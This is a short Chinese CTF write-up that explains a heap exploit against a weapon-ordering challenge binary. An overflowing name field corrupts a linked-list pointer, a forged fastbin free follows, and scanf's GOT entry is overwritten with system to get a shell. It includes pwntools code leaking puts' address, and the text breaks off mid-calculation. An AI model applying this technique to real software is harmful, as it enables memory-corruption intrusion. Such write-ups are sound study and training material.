目标程序及EXP下载
解题思路
- 添加新武器时会在偏移52个字节的地方存下上一个武器的内存地址如下:
*((_DWORD *)dword_804A288 + 13) = v1;
- 输入武器名时存在溢出,因此可以覆盖这个地址,指向另一片内存;
- 提交订单时会通过单向链表的方式free各个武器的内存区域,由于第1步中可以修改武器链表的上一个武器内存地址,因此可以释放一个我们指定的内存到fastbin中;
- 我们指定的内存肯定得是我们可以控制的内存,例如程序中的message指针;
- 重新添加武器会malloc得到message指针所在的内存,因此可以修改message指针指向的位置,例如改成scanf的got表位置;
- 通过message留言可以修改scanf的got表指向的地址为system的地址;
- 然后输入“/bin/sh”给scanf就相当于system("/bin/sh")从而得到shell
具体步骤
- 得到system的地址
程序中没有system函数,因此要通过泄漏puts等函数的实际地址计算system函数的地址;
程序中的show rifle函数会通过单向链表级联打印所有rifle的信息,由于链表受我们控制,我们可以让链表指向puts的got表,从而打印出puts的地址:
name = 'a'*(52-25) + p32(elf.got['puts'])
add(name,'b'*23)
show_added()
r.recvuntil("===================================\n")
r.recvuntil("===================================\n")
r.recvuntil("Description: ")
puts_addr = u32(r.recv(4).ljust(4,b'\x00'))
log.success("puts_addr:"+hex(puts_addr))
libc_base = puts_addr-libc.symbols['puts']
system_addr